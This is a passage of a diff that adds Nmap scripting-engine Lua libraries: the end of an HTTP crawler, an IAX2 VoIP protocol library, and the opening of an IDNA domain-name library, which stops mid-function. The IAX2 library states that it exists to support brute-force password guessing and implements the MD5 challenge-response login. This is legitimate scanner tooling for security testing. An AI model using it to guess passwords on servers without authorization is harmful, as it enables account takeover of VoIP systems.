+ -- An utility when defining closures. Checks if the resource exists within domain.
+ -- @param u URL that points to the resource we want to check.
+ iswithindomain = function(self, u)
+ local parsed_u = url.parse(tostring(u))
+ local host = parsed_u.ascii_host or parsed_u.host
+ if ( self.options.base_url:getPort() ~= 80 and self.options.base_url:getPort() ~= 443 ) then
+ if ( parsed_u.port ~= tonumber(self.options.base_url:getPort()) ) then
+ return false
+ end
+ elseif ( parsed_u.scheme ~= self.options.base_url:getProto() ) then
+ return false
+ elseif ( host == nil or host:sub(-#self.options.base_url:getDomain()):lower() ~= self.options.base_url:getDomain():lower() ) then
+ return false
+ end
+ return true
+ end,
+
+ -- An utility when defining closures. Checks the type of the resource.
+ -- @param u URL that points to the resource we want to check.
+ -- @param ext the extension of the resource.
+ -- @param signs table of signs that may exist after the extension of the resource.
+ isresource = function(self, u, ext, signs)
+ u = tostring(u)
+
+ if string.match(u, "." .. ext .. "$") then
+ return true
+ end
+
+ local signstring = ""
+ if signs then
+ for _, s in signs do
+ signstring = signstring .. s
+ end
+ signstring:gsub('?', '%?')
+ else
+ signstring = "#%?"
+ end
+
+ return string.match(u, "." .. ext .. "[" .. signstring .. "]" .. "[^.]*$")
+
+ end,
+
+ -- creates a new instance of the Crawler instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param url string containing the relative URL
+ -- @param options table of options:
+ -- <code>noblacklist</code> - do not load default blacklist
+ -- <code>base_url</code> - start url to crawl
+ -- <code>timeout</code> - timeout for the http request
+ -- <code>maxdepth</code> - the maximum directory depth to crawl
+ -- <code>maxpagecount</code> - the maximum amount of pages to retrieve
+ -- <code>withinhost</code> - stay within the host of the base_url
+ -- <code>withindomain</code> - stay within the base_url domain
+ -- <code>doscraping</code> - Permit scraping
+ -- <code>scriptname</code> - should be set to SCRIPT_NAME to enable
+ -- script specific arguments.
+ -- <code>redirect_ok</code> - redirect_ok closure to pass to http.get function
+ -- <code>no_cache</code> - no_cache option to pass to http.get function
+ -- @return o new instance of Crawler or nil on failure
+ new = function(self, host, port, url, options)
+ local o = {
+ host = host,
+ port = port,
+ url = url,
+ options = options or {},
+ basethread = stdnse.base(),
+ }
+
+ setmetatable(o, self)
+ self.__index = self
+
+ self.options = o
+
+ o:loadScriptArguments()
+ o:loadLibraryArguments()
+ o:loadDefaultArguments()
+
+ local response = http.get(o.host, o.port, '/', { timeout = o.options.timeout, redirect_ok = o.options.redirect_ok, no_cache = o.options.no_cache } )
+
+ if ( not(response) or 'table' ~= type(response) ) then
+ return
+ end
+
+ o.url = o.url:match("/?(.*)")
+
+ local u_host = o.host.targetname or o.host.name
+ if ( not(u_host) or 0 == #u_host ) then
+ u_host = o.host.ip
+ end
+ local u = ("%s://%s:%d/%s"):format(response.ssl and "https" or "http", u_host, o.port.number, o.url)
+ o.options.base_url = URL:new(u)
+ o.options = Options:new(o.options)
+ o.urlqueue = UrlQueue:new(o.options)
+ o.urlqueue:add(o.options.base_url)
+
+ o.options.timeout = o.options.timeout or 10000
+ o.processed = {}
+
+ -- script arguments have precedence
+ if ( not(o.options.maxdepth) ) then
+ o.options.maxdepth = tonumber(stdnse.get_script_args("httpspider.maxdepth"))
+ end
+
+ -- script arguments have precedence
+ if ( not(o.options.maxpagecount) ) then
+ o.options.maxpagecount = tonumber(stdnse.get_script_args("httpspider.maxpagecount"))
+ end
+
+ if ( not(o.options.noblacklist) ) then
+ o:addDefaultBlacklist()
+ end
+
+ if ( o.options.useheadfornonwebfiles ) then
+ -- Load web files extensions from a file in nselib/data folder.
+ -- For more information on individual file formats, see
+ -- http://en.wikipedia.org/wiki/List_of_file_formats.
+ o.web_files_extensions = {}
+ local f = nmap.fetchfile("nselib/data/http-web-files-extensions.lst")
+ if f then
+ for l in io.lines(f) do
+ table.insert(o.web_files_extensions, l)
+ end
+ end
+ end
+
+ stdnse.debug2("%s: %s", LIBRARY_NAME, o:getLimitations())
+
+ return o
+ end,
+
+ -- Sets the timeout used by the http library
+ -- @param timeout number containing the timeout in ms.
+ set_timeout = function(self, timeout)
+ self.options.timeout = timeout
+ end,
+
+ -- Gets the amount of pages that has been retrieved
+ -- @return count number of pages retrieved by the instance
+ getPageCount = function(self)
+ local count = 1
+ for url in pairs(self.processed) do
+ count = count + 1
+ end
+ return count
+ end,
+
+ -- Adds a default blacklist blocking binary files such as images,
+ -- compressed archives and executable files
+ addDefaultBlacklist = function(self)
+ -- References:
+ --[[
+ Image file formats: https://en.wikipedia.org/wiki/Image_file_formats
+ Video file formats: https://en.wikipedia.org/wiki/Video_file_format
+ Audio file formats: https://en.wikipedia.org/wiki/Audio_file_format
+ Doc file extension: https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions
+ Archive formats: https://en.wikipedia.org/wiki/List_of_archive_formats ,
+ https://en.wikipedia.org/wiki/Category:Archive_formats
+ ]]
+ local extensions = {
+ image_extensions = {"png", "jpg", "jpeg", "gif", "bmp", "jfif", "exif",
+ "tiff", "bmp", "ppm", "pgm", "pbm", "pnm", "webp", "heif", "bpg",
+ "cgm", "svg"},
+ video_extensions = {"avi", "flv", "ogg", "mp4", "m4p", "m4v", "wmv",
+ "vob", "ogv", "mng", "mov", "rmvb", "asf", "nsv", "f4v", "f4p",
+ "amv", "webm", "mkv", "mpg", "mp2", "mpeg", "mpv", "svi", "3gp",
+ "3g2", "mxf", "roq"},
+ audio_extensions = {"aac", "m4a", "mp3", "wav", "aa", "aax", "act", "aiff",
+ "amr", "ape", "au", "awb", "dct", "dss", "dvf", "flac", "gsm", "iklax",
+ "ivs", "m4a", "m4b", "m4p", "mmf", "mpc", "msc", "ogg", "oga", "mogg",
+ "oups", "ra", "raw", "sln", "tta", "vox", "wma", "wv", "webm"},
+ doc_extensions = {"pdf", "doc", "docx", "docm", "xla", "xls", "xlsx",
+ "xlsm", "ppt", "pptx", "pptm", "odf", "ods", "odp", "ps", "xps", "dot",
+ "wbk", "dotx", "dotm", "docb", "xlt", "xlm", "xltx", "xltm", "xlsb",
+ "xlam", "xll", "xlw", "pot", "pps", "potx", "potm", "ppam", "ppsx", "ppsm", "pub"},
+ archive_extensions = {"zip", "tar.gz", "gz", "rar", "7z", "sit", "sitx",
+ "tgz", "tar.bz", "tar", "iso", "a", "ar", "cpio", "shar", "lbr", "iso",
+ "mar", "sbx", "bz2", "lz", "lzma", "lzo", "rz", "sz", "s7z", "ace", "afa",
+ "alz", "apk", "tar.bz2", "tar.Z", "tar.lzma", "tlz", "tbz2", "xp3", "zz",
+ "bzip", "lzip", "lzop", "rzip"},
+ exe_extensions = {"exe", "com", "msi", "bin","dmg"}
+ }
+ local blacklist = {}
+ for _, cat in pairs(extensions) do
+ for _, ext in ipairs(cat) do
+ table.insert(blacklist, string.format(".%s$", ext))
+ end
+ end
+
+ self.options:addBlacklist( function(url)
+ local p = url:getPath():lower()
+ for _, pat in ipairs(blacklist) do
+ if ( p:match(pat) ) then
+ return true
+ end
+ end
+ end )
+ end,
+
+ -- does the heavy crawling
+ --
+ -- The crawler may exit due to a number of different reasons, including
+ -- invalid options, reaching max count or simply running out of links
+ -- We return a false status for all of these and in case the error was
+ -- unexpected or requires attention we set the error property accordingly.
+ -- This way the script can alert the user of the details by calling
+ -- getError()
+ crawl_thread = function(self, response_queue)
+ local condvar = nmap.condvar(response_queue)
+
+ if ( false ~= self.options.withinhost and false ~= self.options.withindomain ) then
+ table.insert(response_queue, { false, { err = true, reason = "Invalid options: withinhost and withindomain can't both be true" } })
+ condvar "signal"
+ return
+ end
+
+ while(true) do
+
+ if ( self.quit or coroutine.status(self.basethread) == 'dead' ) then
+ table.insert(response_queue, {false, { err = false, msg = "Quit signalled by crawler" } })
+ break
+ end
+
+ -- in case the user set a max page count to retrieve check how many
+ -- pages we have retrieved so far
+ local count = self:getPageCount()
+ if ( self.options.maxpagecount and
+ ( self.options.maxpagecount > 0 ) and
+ ( count > self.options.maxpagecount ) ) then
+ table.insert(response_queue, { false, { err = false, msg = "Reached max page count" } })
+ condvar "signal"
+ return
+ end
+
+ -- pull links from the queue until we get a valid one
+ local url
+ repeat
+ url = self.urlqueue:getNext()
+ until( not(url) or not(self.processed[tostring(url)]) )
+
+ -- if no url could be retrieved from the queue, abort ...
+ if ( not(url) ) then
+ table.insert(response_queue, { false, { err = false, msg = "No more urls" } })
+ condvar "signal"
+ return
+ end
+
+ if ( self.options.maxpagecount ) then
+ stdnse.debug2("%s: Fetching url [%d of %d]: %s", LIBRARY_NAME, count, self.options.maxpagecount, tostring(url))
+ else
+ stdnse.debug2("%s: Fetching url: %s", LIBRARY_NAME, tostring(url))
+ end
+
+ local scrape = true
+
+
+ if not (self.options.doscraping(url)) then
+ stdnse.debug2("%s: Scraping is not allowed for url: %s", LIBRARY_NAME, tostring(url))
+ scrape = false
+ end
+
+ local response
+ -- in case we want to use HEAD rather than GET for files with certain extensions
+ if ( self.options.useheadfornonwebfiles ) then
+ local is_web_file = false
+ local file = url:getPath():lower()
+ -- check if we are at a URL with 'no extension', for example: nmap.org/6
+ if string.match(file,".*(/[^/%.]*)$") or string.match(file, "/$") then is_web_file = true end
+ if not is_web_file then
+ for _,v in pairs(self.web_files_extensions) do
+ if string.match(file, "%."..v.."$") then
+ is_web_file = true
+ break
+ end
+ end
+ end
+ if is_web_file then
+ stdnse.debug2("%s: Using GET: %s", LIBRARY_NAME, file)
+ response = http.get(url:getHost(), url:getPort(), url:getFile(), { timeout = self.options.timeout, redirect_ok = self.options.redirect_ok, no_cache = self.options.no_cache } )
+ else
+ stdnse.debug2("%s: Using HEAD: %s", LIBRARY_NAME, file)
+ response = http.head(url:getHost(), url:getPort(), url:getFile())
+ end
+ else
+ -- fetch the url, and then push it to the processed table
+ response = http.get(url:getHost(), url:getPort(), url:getFile(), { timeout = self.options.timeout, redirect_ok = self.options.redirect_ok, no_cache = self.options.no_cache } )
+ end
+
+ self.processed[tostring(url)] = true
+
+ if ( response ) then
+ -- were we redirected?
+ if ( response.location ) then
+ -- was the link absolute?
+ local link = response.location[#response.location]
+ if ( link:match("^http") ) then
+ url = URL:new(link)
+ -- guess not
+ else
+ url.path = link
+ end
+ end
+ -- if we have a response, proceed scraping it
+ if ( response.body ) and scrape then
+ local links = LinkExtractor:new(url, response.body, self.options):getLinks()
+ self.urlqueue:add(links)
+ end
+ else
+ response = { body = "", headers = {} }
+ end
+ table.insert(response_queue, { true, { url = url, response = response } } )
+ while ( PREFETCH_SIZE < #response_queue ) do
+ stdnse.debug2("%s: Response queue full, waiting ...", LIBRARY_NAME)
+ condvar "wait"
+ end
+ condvar "signal"
+ end
+ condvar "signal"
+ end,
+
+ -- Loads the argument set on a script level
+ loadScriptArguments = function(self)
+ local sn = self.options.scriptname
+ if ( not(sn) ) then
+ stdnse.debug1("%s: WARNING: Script argument could not be loaded as scriptname was not set", LIBRARY_NAME)
+ return
+ end
+
+ if ( nil == self.options.maxdepth ) then
+ self.options.maxdepth = tonumber(stdnse.get_script_args(sn .. ".maxdepth"))
+ end
+ if ( nil == self.options.maxpagecount ) then
+ self.options.maxpagecount = tonumber(stdnse.get_script_args(sn .. ".maxpagecount"))
+ end
+ if ( nil == self.url ) then
+ self.url = stdnse.get_script_args(sn .. ".url")
+ end
+ if ( nil == self.options.withinhost ) then
+ self.options.withinhost = stdnse.get_script_args(sn .. ".withinhost")
+ end
+ if ( nil == self.options.withindomain ) then
+ self.options.withindomain = stdnse.get_script_args(sn .. ".withindomain")
+ end
+ if ( nil == self.options.noblacklist ) then
+ self.options.noblacklist = stdnse.get_script_args(sn .. ".noblacklist")
+ end
+ if ( nil == self.options.useheadfornonwebfiles ) then
+ self.options.useheadfornonwebfiles = stdnse.get_script_args(sn .. ".useheadfornonwebfiles")
+ end
+ if ( nil == self.options.doscraping ) then
+ self.options.doscraping = stdnse.get_script_args(sn .. ".doscraping")
+ end
+
+ end,
+
+ -- Loads the argument on a library level
+ loadLibraryArguments = function(self)
+ local ln = LIBRARY_NAME
+
+ if ( nil == self.options.maxdepth ) then
+ self.options.maxdepth = tonumber(stdnse.get_script_args(ln .. ".maxdepth"))
+ end
+ if ( nil == self.options.maxpagecount ) then
+ self.options.maxpagecount = tonumber(stdnse.get_script_args(ln .. ".maxpagecount"))
+ end
+ if ( nil == self.url ) then
+ self.url = stdnse.get_script_args(ln .. ".url")
+ end
+ if ( nil == self.options.withinhost ) then
+ self.options.withinhost = stdnse.get_script_args(ln .. ".withinhost")
+ end
+ if ( nil == self.options.withindomain ) then
+ self.options.withindomain = stdnse.get_script_args(ln .. ".withindomain")
+ end
+ if ( nil == self.options.noblacklist ) then
+ self.options.noblacklist = stdnse.get_script_args(ln .. ".noblacklist")
+ end
+ if ( nil == self.options.useheadfornonwebfiles ) then
+ self.options.useheadfornonwebfiles = stdnse.get_script_args(ln .. ".useheadfornonwebfiles")
+ end
+ if ( nil == self.options.doscraping ) then
+ self.options.doscraping = stdnse.get_script_args(ln .. ".doscraping")
+ end
+ end,
+
+ -- Loads any defaults for arguments that were not set
+ loadDefaultArguments = function(self)
+ local function tobool(b)
+ if ( nil == b ) then
+ return
+ end
+ assert("string" == type(b) or "boolean" == type(b) or "number" == type(b), "httpspider: tobool failed, unsupported type")
+ if ( "string" == type(b) ) then
+ if ( "true" == b ) then
+ return true
+ else
+ return false
+ end
+ elseif ( "number" == type(b) ) then
+ if ( 1 == b ) then
+ return true
+ else
+ return false
+ end
+ end
+ return b
+ end
+
+ if self.options.withinhost == 0 then
+ self.options.withinhost = false
+ end
+
+ if self.options.withindomain == 0 then
+ self.options.withindomain = false
+ end
+
+ -- fixup some booleans to make sure they're actually booleans
+ self.options.noblacklist = tobool(self.options.noblacklist)
+ self.options.useheadfornonwebfiles = tobool(self.options.useheadfornonwebfiles)
+
+ if ( self.options.withinhost == nil ) then
+ if ( self.options.withindomain ~= true ) then
+ self.options.withinhost = true
+ else
+ self.options.withinhost = false
+ end
+ end
+ if ( self.options.withindomain == nil ) then
+ self.options.withindomain = false
+ end
+ if ( not ( type(self.options.doscraping) == "function" ) ) then
+ self.options.doscraping = false
+ end
+ self.options.maxdepth = tonumber(self.options.maxdepth) or 3
+ self.options.maxpagecount = tonumber(self.options.maxpagecount) or 20
+ self.url = self.url or '/'
+ end,
+
+ -- gets a string of limitations imposed on the crawl
+ getLimitations = function(self)
+ local o = self.options
+ local limits = {}
+ if ( o.maxdepth > 0 or o.maxpagecount > 0 or
+ o.withinhost or o.withindomain ) then
+ if ( o.maxdepth > 0 ) then
+ table.insert(limits, ("maxdepth=%d"):format(o.maxdepth))
+ end
+ if ( o.maxpagecount > 0 ) then
+ table.insert(limits, ("maxpagecount=%d"):format(o.maxpagecount))
+ end
+ if ( o.withindomain ) then
+ table.insert(limits, ("withindomain=%s"):format(o.base_url:getDomain() or o.base_url:getHost()))
+ end
+ if ( o.withinhost ) then
+ table.insert(limits, ("withinhost=%s"):format(o.base_url:getHost()))
+ end
+ end
+
+ if ( #limits > 0 ) then
+ return ("Spidering limited to: %s"):format(table.concat(limits, "; "))
+ end
+ end,
+
+ -- does the crawling
+ crawl = function(self)
+ self.response_queue = self.response_queue or {}
+ local condvar = nmap.condvar(self.response_queue)
+ if ( not(self.thread) ) then
+ self.thread = stdnse.new_thread(self.crawl_thread, self, self.response_queue)
+ end
+
+ if ( #self.response_queue == 0 and coroutine.status(self.thread) ~= 'dead') then
+ condvar "wait"
+ end
+ condvar "signal"
+ if ( #self.response_queue == 0 ) then
+ return false, { err = false, msg = "No more urls" }
+ else
+ return table.unpack(table.remove(self.response_queue, 1))
+ end
+ end,
+
+ -- signals the crawler to stop
+ stop = function(self)
+ local condvar = nmap.condvar(self.response_queue)
+ self.quit = true
+ condvar "signal"
+ if ( coroutine.status(self.thread) == "dead" ) then
+ return
+ end
+ condvar "wait"
+ end
+}
+
+return _ENV;
diff --git a/nselib/iax2.lua b/nselib/iax2.lua
new file mode 100644
index 0000000..cb6a9ad
--- /dev/null
+++ b/nselib/iax2.lua
@@ -0,0 +1,340 @@
+---
+-- A minimalistic Asterisk IAX2 (Inter-Asterisk eXchange v2) VoIP protocol implementation.
+-- The library implements the minimum needed to perform brute force password guessing.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local openssl = stdnse.silent_require "openssl"
+local table = require "table"
+_ENV = stdnse.module("iax2", stdnse.seeall)
+
+
+IAX2 = {
+
+ FrameType = {
+ IAX = 6,
+ },
+
+ SubClass = {
+ ACK = 0x04,
+ REGACK = 0x0f,
+ REGREJ = 0x10,
+ REGREL = 0x11,
+ CALLTOKEN = 0x28,
+ },
+
+ InfoElement = {
+ USERNAME = 0x06,
+ CHALLENGE = 0x0f,
+ MD5_RESULT = 0x10,
+ CALLTOKEN = 0x36,
+ },
+
+ PacketType = {
+ FULL = 1,
+ },
+
+ -- The IAX2 Header
+ Header = {
+
+ -- Creates a new Header instance
+ -- @param src_call number containing the source call
+ -- @param dst_call number containing the dest call
+ -- @param timestamp number containing a timestamp
+ -- @param oseqno number containing the seqno of outgoing packets
+ -- @param iseqno number containing the seqno of incoming packets
+ -- @param frametype number containing the frame type
+ -- @param subclass number containing the subclass type
+ new = function(self, src_call, dst_call, timestamp, oseqno, iseqno, frametype, subclass)
+ local o = {
+ type = IAX2.PacketType.FULL,
+ retrans = false,
+ src_call = src_call,
+ dst_call = dst_call,
+ timestamp = timestamp,
+ oseqno = oseqno,
+ iseqno = iseqno,
+ frametype = frametype,
+ subclass = subclass,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parses data, a byte string, and creates a new Header instance
+ -- @return header instance of Header
+ parse = function(data)
+ local header = IAX2.Header:new()
+ local frame_type, pos = string.unpack("B", data)
+ if ( (frame_type & 0x80) == 0 ) then
+ stdnse.debug2("Frametype %x not supported", frame_type)
+ return
+ end
+ header.type = IAX2.PacketType.FULL
+ header.src_call, pos = string.unpack(">I2", data)
+ header.src_call = (header.src_call & 0x7FFF)
+
+ local retrans = string.unpack("B", data, pos)
+ if ( (retrans & 0x80) == 8 ) then
+ header.retrans = true
+ end
+ header.dst_call, pos = string.unpack(">I2", data, pos)
+ header.dst_call = (header.dst_call & 0x7FFF)
+
+ header.timestamp, header.oseqno,
+ header.iseqno, header.frametype, header.subclass, pos = string.unpack(">I4BBBB", data, pos)
+
+ return header
+ end,
+
+ -- Converts the instance to a string
+ -- @return str containing the instance
+ __tostring = function(self)
+ assert(self.src_call < 32767, "Source call exceeds 32767")
+ assert(self.dst_call < 32767, "Dest call exceeds 32767")
+ local src_call = self.src_call
+ local dst_call = self.dst_call
+ if ( self.type == IAX2.PacketType.FULL ) then
+ src_call = src_call + 32768
+ end
+ if ( self.retrans ) then
+ dst_call = dst_call + 32768
+ end
+ return string.pack(">I2I2 I4BBBB", src_call, dst_call, self.timestamp,
+ self.oseqno, self.iseqno, self.frametype, self.subclass)
+ end,
+ },
+
+ -- The IAX2 Request class
+ Request = {
+
+ -- Creates a new instance
+ -- @param header instance of Header
+ new = function(self, header)
+ local o = {
+ header = header,
+ ies = {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Sets an Info Element or adds one, in case it's missing
+ -- @param key the key value of the IE to add
+ -- @param value string containing the value to set or add
+ setIE = function(self, key, value)
+ for _, ie in ipairs(self.ies or {}) do
+ if ( key == ie.type ) then
+ ie.value = value
+ end
+ end
+ table.insert(self.ies, { type = key, value = value } )
+ end,
+
+ -- Gets an information element
+ -- @param key number containing the element number to retrieve
+ -- @return ie table containing the info element if it exists
+ getIE = function(self, key)
+ for _, ie in ipairs(self.ies or {}) do
+ if ( key == ie.type ) then
+ return ie
+ end
+ end
+ end,
+
+ -- Converts the instance to a string
+ -- @return str containing the instance
+ __tostring = function(self)
+ local data = {}
+ for _, ie in ipairs(self.ies) do
+ data[#data+1] = string.pack("Bs1", ie.type, ie.value )
+ end
+
+ return tostring(self.header) .. table.concat(data)
+ end,
+
+ },
+
+
+ -- The IAX2 Response
+ Response = {
+
+ -- Creates a new instance
+ new = function(self)
+ local o = { ies = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Sets an Info Element or adds one, in case it's missing
+ -- @param key the key value of the IE to add
+ -- @param value string containing the value to set or add
+ setIE = function(self, key, value)
+ for _, ie in ipairs(self.ies or {}) do
+ if ( key == ie.type ) then
+ ie.value = value
+ end
+ end
+ table.insert(self.ies, { type = key, value = value } )
+ end,
+
+ -- Gets an information element
+ -- @param key number containing the element number to retrieve
+ -- @return ie table containing the info element if it exists
+ getIE = function(self, key)
+ for _, ie in ipairs(self.ies or {}) do
+ if ( key == ie.type ) then
+ return ie
+ end
+ end
+ end,
+
+ -- Parses data, a byte string, and creates a response
+ -- @return resp instance of response
+ parse = function(data)
+ local resp = IAX2.Response:new()
+ if ( not(resp) ) then return end
+
+ resp.header = IAX2.Header.parse(data)
+ if ( not(resp.header) ) then return end
+
+ local pos = 13
+ resp.ies = {}
+ repeat
+ local ie = {}
+ ie.type, ie.value, pos = string.unpack(">Bs1", data, pos)
+ table.insert(resp.ies, ie)
+ until( pos > #data )
+ return resp
+ end,
+
+ }
+
+}
+
+
+Helper = {
+
+ -- Creates a new Helper instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param options table containing helper options, currently
+ -- <code>timeout</code> socket timeout in ms
+ -- @return o instance of Helper
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects the UDP socket to the server
+ -- @return status true on success, false on failure
+ -- @return err message containing error if status is false
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 5000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Sends a request to the server and receives the response
+ -- @param req instance containing the request to send to the server
+ -- @return status true on success, false on failure
+ -- @return resp instance of response on success,
+ -- err containing the error message on failure
+ exch = function(self, req)
+ local status, err = self.socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+ local status, data = self.socket:receive()
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+
+ local resp = IAX2.Response.parse(data)
+ return true, resp
+ end,
+
+ -- Request a session release
+ -- @param username string containing the extension (username)
+ -- @param password string containing the password
+ regRelease = function(self, username, password)
+
+ local src_call = math.random(32767)
+ local header = IAX2.Header:new(src_call, 0, os.time(), 0, 0, IAX2.FrameType.IAX, IAX2.SubClass.REGREL)
+ local regrel = IAX2.Request:new(header)
+
+ regrel:setIE(IAX2.InfoElement.USERNAME, username)
+ regrel:setIE(IAX2.InfoElement.CALLTOKEN, "")
+
+ local status, resp = self:exch(regrel)
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ if ( not(resp) or IAX2.SubClass.CALLTOKEN ~= resp.header.subclass ) then
+ return false, "Unexpected response"
+ end
+
+ local token = resp:getIE(IAX2.InfoElement.CALLTOKEN)
+ if ( not(token) ) then
+ return false, "Failed to get token"
+ end
+
+ regrel:setIE(IAX2.InfoElement.CALLTOKEN, token.value)
+ status, resp = self:exch(regrel)
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ local challenge = resp:getIE(IAX2.InfoElement.CHALLENGE)
+ if ( not(challenge) ) then
+ return false, "Failed to retrieve challenge from server"
+ end
+
+ regrel.header.iseqno = 1
+ regrel.header.oseqno = 1
+ regrel.header.dst_call = resp.header.src_call
+ regrel.ies = {}
+
+ local hash = stdnse.tohex(openssl.md5(challenge.value .. password))
+ regrel:setIE(IAX2.InfoElement.USERNAME, username)
+ regrel:setIE(IAX2.InfoElement.MD5_RESULT, hash)
+
+ status, resp = self:exch(regrel)
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ if ( IAX2.SubClass.ACK == resp.header.subclass ) then
+ local data
+ status, data = self.socket:receive()
+ resp = IAX2.Response.parse(data)
+ end
+
+ if ( status and IAX2.SubClass.REGACK == resp.header.subclass ) then
+ return true
+ end
+ return false, "Release failed"
+ end,
+
+ -- Close the connection with the server
+ -- @return true on success, false on failure
+ close = function(self)
+ return self.socket:close()
+ end,
+
+
+}
+
+return _ENV;
diff --git a/nselib/idna.lua b/nselib/idna.lua
new file mode 100644
index 0000000..73a9b28
--- /dev/null
+++ b/nselib/idna.lua
@@ -0,0 +1,565 @@
+---
+-- Library methods for handling IDNA domains.
+--
+-- Internationalized Domain Names (IDNs) follow a mechanism to process
+-- Internationalizing Domain Names in Applications (IDNA) for handling
+-- characters outside the ASCII repertoire in a standard fashion. IDNs use
+-- characters drawn from a large repertoire (Unicode), but IDNA allows the
+-- non-ASCII characters to be represented using only the ASCII characters
+-- already allowed in so-called host names today. This backward-compatible
+-- representation is required in existing protocols like DNS, so that IDNs can be
+-- introduced with no changes to the existing infrastructure. IDNA is
+-- only meant for processing domain names, not free text.
+--
+-- Client software, such as browsers and emailers, faces a difficult transition
+-- from the version of international domain names approved in 2003 (IDNA2003),
+-- to the revision approved in 2010 (IDNA2008). The following functions allows
+-- the developer and end user to access domains that are valid under either
+-- system but the default conversion is set to IDNA2008.
+--
+-- IDNA specification solves the problem of extending the repertoire
+-- of characters that can be used in domain names to include the Unicode
+-- repertoire (with some restrictions).
+--
+-- Applications can use IDNA to support internationalized domain names
+-- anywhere that ASCII domain names are already supported, including DNS
+-- master files and resolver interfaces. The IDNA protocol is contained
+-- completely within applications. It is not a client-server or peer-to-peer
+-- protocol: everything is done inside the application itself. When used with
+-- a DNS resolver library, IDNA is inserted as a "shim" between the application
+-- and the resolver library. When used for writing names into a DNS zone, IDNA
+-- is used just before the name is committed to the zone.
+--
+-- References:
+-- * http://ietf.org/rfc/rfc3490.txt
+-- * http://tools.ietf.org/html/rfc5890
+-- * https://tools.ietf.org/html/rfc5891
+-- * http://tools.ietf.org/html/rfc5892
+-- * http://www.unicode.org/reports/tr46/
+--
+-- TODO:
+-- Add support for mapping right to left scripts for IDNA library.
+-- References:
+-- * http://tools.ietf.org/html/rfc5893
+-- * http://www.unicode.org/reports/tr9/
+-- * http://www.unicode.org/reports/tr46/#Right_to_Left_Scripts
+--
+-- @author Rewanth Cool
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local string = require "string"
+local math = require "math"
+local table = require "table"
+local unicode = require "unicode"
+local unittest = require "unittest"
+local punycode = require "punycode"
+local idnaMappings = require "data.idnaMappings".tbl
+
+_ENV = stdnse.module("idna", stdnse.seeall)
+
+-- Localize few functions for a tiny speed boost, since these will be
+-- used frequently.
+local floor = math.floor
+local byte = string.byte
+local char = string.char
+local find = string.find
+local match = string.match
+local reverse = string.reverse
+local sub = string.sub
+
+-- Concatenates the strings and tables (depth = 1) in a given table.
+--
+-- @param tbl A table is given as an input which contains values as string
+-- or table (depth = 1).
+-- @return Returns table after concatinating all the values.
+local function concat_table_in_tables(tbl)
+
+ local t = {}
+ for _, v in ipairs(tbl) do
+ if type(v) == "table" then
+ for _, q in ipairs(v) do
+ table.insert(t, q)
+ end
+ else
+ table.insert(t, v)
+ end
+ end
+
+ return t
+
+end
+
+
+--- Maps the codepoints of the input to their respective
+-- codepoints based on the latest IDNA version mapping.
+--
+-- @param decoded_tbl Table of Unicode decoded codepoints.
+-- @param useSTD3ASCIIRules Boolean value to set the mapping according to IDNA2003 rules.
+-- useSTD3ASCIIRules=true refers to IDNA2008.
+-- useSTD3ASCIIRules=false refers to IDNA2003.
+-- @param transitionalProcessing Processing option to handle deviation codepoints.
+-- transitionalProcessing=true maps deviation codepoints to the input.
+-- transitionalProcessing=false maintains original input.
+-- @param viewDisallowedCodePoints Boolean value to see the list of disallowed codepoints.
+-- @return Returns table with the list of mapped codepoints.
+function map(decoded_tbl, useSTD3ASCIIRules, transitionalProcessing, viewDisallowedCodePoints)
+
+ -- Assigns default values if not specified.
+
+ -- According to IDNA2008, transitionalProcessing=true (default).
+ if transitionalProcessing == nil then
+ transitionalProcessing = true
+ end
+
+ if useSTD3ASCIIRules == nil then
+ useSTD3ASCIIRules = true
+ end
+ if viewDisallowedCodePoints == nil then
+ viewDisallowedCodePoints = false
+ end
+
+ local disallowedCodePoints = {}
+
+ -- Mapping codepoints based on latest IDNA mapping list.
+ for index, cp in ipairs(decoded_tbl) do
+ local lookup = idnaMappings[cp]
+ if type(lookup) == "number" then
+ decoded_tbl[index] = lookup
+ -- Handles the IDNA deviated set of codepoints.
+ elseif transitionalProcessing and lookup.status == "deviation" then
+ decoded_tbl[index] = lookup[1]
+ -- Removes the IDNA ignored set of codepoints.
+ elseif lookup.status == "ignored" then
+ decoded_tbl[index] = {}
+ end
+ end
+
+ decoded_tbl = concat_table_in_tables(decoded_tbl)
+
+ --TODO:
+ -- Map bidi characters.
+ -- Right-to-left domain names.
+ -- References:
+ -- http://unicode.org/reports/tr9/
+ -- http://www.unicode.org/reports/tr46/#Right_to_Left_Scripts
+ -- http://tools.ietf.org/html/rfc5893
+
+ -- Saves the list of disallowed codepoints.
+ if viewDisallowedCodePoints then
+ for index, cp in ipairs(decoded_tbl) do
+ local lookup = idnaMappings[cp]
+ if type(lookup) == "table" then
+ if lookup.status == "disallowed" then
+ table.insert(disallowedCodePoints, cp)
+ end
+ end
+
+ -- If useSTD3ASCIIRules=true, both the disallowed_STD3_valid and
+ -- disallowed_STD3_mapped are considered as disallowed codepoints.
+ -- To use this part of code, add disallowed_STD3_mapped and disallowed_STD3_valid
+ -- codepoints to idnaMappings.lua. For now, we ignore these because idnaMappings.lua
+ -- is set to support only for the latest version of IDNA.
+ if useSTD3ASCIIRules then
+ if type(lookup) == "table" then
